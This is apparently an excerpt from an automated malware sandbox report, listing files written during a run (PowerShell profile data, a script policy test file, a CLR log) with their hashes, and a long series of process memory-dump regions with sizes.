SHA5123aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5e6b9e03dcde217fc7d1692b3d65233d7
SHA167367ef59dbc1661ff29d6fe5ce3ed3d39678044
SHA256790c142b39325b5bcf07c2d7b8afb8fb3b6f8c1e99a39ce5870b2ef043d8cfdd
SHA5128f34d037a97f1131ff9863c10ff7cf7f029c2973c5f32fcee1751cd47a5b7cfc3bf5b6c30ada08f3793918e600d4a45f8cb8d22502b693c6a9aeba9d0d504410
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5bc78d739b60cf20700edca10494f89de
SHA15441cc14e1c5d884b83b521691afa413d44545c0
SHA2563a683d43fe0bab99fa668591c584106fe65ec29dd5ba4d72b271ef66cb360b41
SHA512f3cc0b1b95f83a6eab33d0d00709810359dcf773f4ad1d1ab806b2a5d9c6a828e46a2b09269c1490543006b9fcc9d3c9d57747968e4c04163c53044eb86ae65a
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hktmequk.ghj.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
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memory/232-177-0x00000231294B0000-0x00000231294C0000-memory.dmpFilesize
64KB
-
memory/232-178-0x00000231294B0000-0x00000231294C0000-memory.dmpFilesize
64KB
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memory/232-176-0x00000231294B0000-0x00000231294C0000-memory.dmpFilesize
64KB
-
memory/1104-260-0x00007FF681AE0000-0x00007FF681AF6000-memory.dmpFilesize
88KB
-
memory/1104-252-0x00007FF681AE0000-0x00007FF681AF6000-memory.dmpFilesize
88KB
-
memory/1336-240-0x000001A98C720000-0x000001A98C730000-memory.dmpFilesize
64KB
-
memory/1336-238-0x00007FF47FE90000-0x00007FF47FEA0000-memory.dmpFilesize
64KB
-
memory/1336-237-0x000001A98C720000-0x000001A98C730000-memory.dmpFilesize
64KB
-
memory/1336-236-0x000001A98C720000-0x000001A98C730000-memory.dmpFilesize
64KB
-
memory/1336-235-0x000001A98C720000-0x000001A98C730000-memory.dmpFilesize
64KB
-
memory/2700-144-0x00000238F0F50000-0x00000238F0F60000-memory.dmpFilesize
64KB
-
memory/2700-139-0x00000238D89F0000-0x00000238D8A12000-memory.dmpFilesize
136KB
-
memory/2700-146-0x00000238F0F50000-0x00000238F0F60000-memory.dmpFilesize
64KB
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memory/2700-145-0x00000238F0F50000-0x00000238F0F60000-memory.dmpFilesize
64KB
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memory/3992-165-0x00007FF607730000-0x00007FF607941000-memory.dmpFilesize
2.1MB
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memory/3992-133-0x00007FF607730000-0x00007FF607941000-memory.dmpFilesize
2.1MB
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memory/4168-193-0x000002D2CFE90000-0x000002D2CFEA0000-memory.dmpFilesize
64KB
-
memory/4168-204-0x000002D2D1750000-0x000002D2D175A000-memory.dmpFilesize
40KB
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memory/4168-209-0x000002D2D18B0000-0x000002D2D18B8000-memory.dmpFilesize
32KB
-
memory/4168-210-0x000002D2D18E0000-0x000002D2D18E6000-memory.dmpFilesize
24KB
-
memory/4168-211-0x000002D2D18F0000-0x000002D2D18FA000-memory.dmpFilesize
40KB
-
memory/4168-212-0x000002D2CFE90000-0x000002D2CFEA0000-memory.dmpFilesize
64KB
-
memory/4168-207-0x000002D2D18A0000-0x000002D2D18AA000-memory.dmpFilesize
40KB
-
memory/4168-206-0x00007FF464360000-0x00007FF464370000-memory.dmpFilesize
64KB
-
memory/4168-205-0x000002D2D18C0000-0x000002D2D18DC000-memory.dmpFilesize
112KB
-
memory/4168-208-0x000002D2D1900000-0x000002D2D191A000-memory.dmpFilesize
104KB
-
memory/4168-203-0x000002D2CFE70000-0x000002D2CFE8C000-memory.dmpFilesize
112KB
-
memory/4168-191-0x000002D2CFE90000-0x000002D2CFEA0000-memory.dmpFilesize
64KB
-
memory/4168-192-0x000002D2CFE90000-0x000002D2CFEA0000-memory.dmpFilesize
64KB
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memory/4216-239-0x00007FF6A1AF0000-0x00007FF6A1D01000-memory.dmpFilesize
2.1MB
-
memory/4216-245-0x00007FF6A1AF0000-0x00007FF6A1D01000-memory.dmpFilesize
2.1MB
-
memory/4216-181-0x00007FF6A1AF0000-0x00007FF6A1D01000-memory.dmpFilesize
2.1MB
-
memory/4488-162-0x000001E7A8F30000-0x000001E7A8F40000-memory.dmpFilesize
64KB
-
memory/4488-160-0x000001E7A8F30000-0x000001E7A8F40000-memory.dmpFilesize
64KB
-
memory/4488-161-0x000001E7A8F30000-0x000001E7A8F40000-memory.dmpFilesize
64KB
-
memory/4952-259-0x000001DDE0480000-0x000001DDE04A0000-memory.dmpFilesize
128KB
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memory/4952-277-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-253-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-254-0x000001DDE0460000-0x000001DDE0480000-memory.dmpFilesize
128KB
-
memory/4952-255-0x000001DDE0480000-0x000001DDE04A0000-memory.dmpFilesize
128KB
-
memory/4952-257-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-258-0x000001DDE0460000-0x000001DDE0480000-memory.dmpFilesize
128KB
-
memory/4952-250-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-249-0x000001DDCFE40000-0x000001DDCFE60000-memory.dmpFilesize
128KB
-
memory/4952-261-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-263-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-265-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-267-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-269-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-271-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-273-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-275-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-251-0x000001DDE0400000-0x000001DDE0440000-memory.dmpFilesize
256KB
-
memory/4952-279-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-281-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-283-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-285-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-287-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-289-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-291-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-293-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-295-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-297-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-299-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-301-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-303-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-305-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-307-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-309-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-311-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB
-
memory/4952-313-0x00007FF680270000-0x00007FF680A64000-memory.dmpFilesize
8.0MB